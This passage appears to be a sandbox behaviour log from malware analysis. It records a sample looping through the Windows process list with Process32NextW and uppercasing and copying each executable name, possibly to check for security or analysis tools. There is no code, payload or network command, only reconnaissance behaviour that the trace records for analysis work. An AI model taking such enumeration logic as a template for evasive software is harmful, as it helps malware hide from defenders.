(pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.296] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.297] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.297] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.297] lstrlenW (lpString="svchost.exe") returned 11 [0100.297] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.297] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.297] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.297] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.298] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.298] lstrlenW (lpString="svchost.exe") returned 11 [0100.298] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.298] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.298] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.298] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0100.299] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0100.299] lstrlenW (lpString="spoolsv.exe") returned 11 [0100.299] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0100.299] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0100.299] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0100.299] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.300] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.300] lstrlenW (lpString="svchost.exe") returned 11 [0100.300] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.300] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.300] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.300] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.300] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.300] lstrlenW (lpString="svchost.exe") returned 11 [0100.300] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.300] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.300] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.301] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0100.301] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0100.301] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0100.301] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0100.301] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0100.301] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0100.301] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.302] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.302] lstrlenW (lpString="svchost.exe") returned 11 [0100.302] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.302] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.302] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.302] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0100.303] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0100.303] lstrlenW (lpString="sihost.exe") returned 10 [0100.303] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0100.303] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0100.303] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0100.303] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0100.304] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0100.304] lstrlenW (lpString="taskhostw.exe") returned 13 [0100.304] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0100.304] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0100.304] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0100.304] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0100.304] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0100.304] lstrlenW (lpString="explorer.exe") returned 12 [0100.305] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0100.305] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0100.305] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0100.305] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0100.305] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0100.305] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0100.305] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0100.305] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0100.305] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0100.305] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0100.306] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0100.306] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0100.306] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0100.306] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0100.306] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0100.306] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0100.307] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0100.307] lstrlenW (lpString="SearchUI.exe") returned 12 [0100.307] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0100.307] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0100.307] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0100.307] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0100.307] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0100.308] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0100.308] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0100.308] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0100.308] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0100.308] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0100.308] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0100.308] lstrlenW (lpString="nice cu.exe") returned 11 [0100.308] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0100.308] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0100.308] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0100.308] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0100.309] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0100.309] lstrlenW (lpString="video_reviewing.exe") returned 19 [0100.309] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0100.309] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0100.309] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0100.309] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0100.310] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0100.310] lstrlenW (lpString="shame.exe") returned 9 [0100.310] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0100.310] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0100.310] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0100.310] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0100.311] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0100.311] lstrlenW (lpString="fantasy.exe") returned 11 [0100.311] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0100.311] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0100.311] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0100.311] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0100.312] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0100.312] lstrlenW (lpString="accepting.exe") returned 13 [0100.312] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0100.312] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0100.312] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0100.312] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0100.312] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0100.312] lstrlenW (lpString="authorized.exe") returned 14 [0100.312] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0100.312] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0100.313] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0100.313] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0100.313] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0100.313] lstrlenW (lpString="isp.exe") returned 7 [0100.313] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0100.313] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0100.313] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0100.313] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0100.314] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0100.314] lstrlenW (lpString="cowboy.exe") returned 10 [0100.314] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0100.314] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0100.314] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0100.314] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0100.315] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0100.315] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0100.315] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0100.315] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0100.315] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0100.315] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0100.316] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0100.316] lstrlenW (lpString="thats.exe") returned 9 [0100.316] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0100.316] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0100.316] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0100.316] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0100.316] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0100.316] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0100.316] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0100.316] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0100.317] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0100.317] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0100.317] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0100.317] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0100.317] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0100.317] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0100.317] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0100.317] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0100.318] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0100.318] lstrlenW (lpString="actual.exe") returned 10 [0100.318] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0100.318] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0100.318] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0100.318] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0100.319] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0100.319] lstrlenW (lpString="potter larry.exe") returned 16 [0100.319] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0100.319] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0100.319] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0100.319] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0100.320] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0100.320] lstrlenW (lpString="contents what certificate.exe") returned 29 [0100.320] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0100.320] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0100.320] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0100.320] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0100.320] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0100.320] lstrlenW (lpString="cindy.exe") returned 9 [0100.320] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0100.320] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0100.320] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0100.321] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, 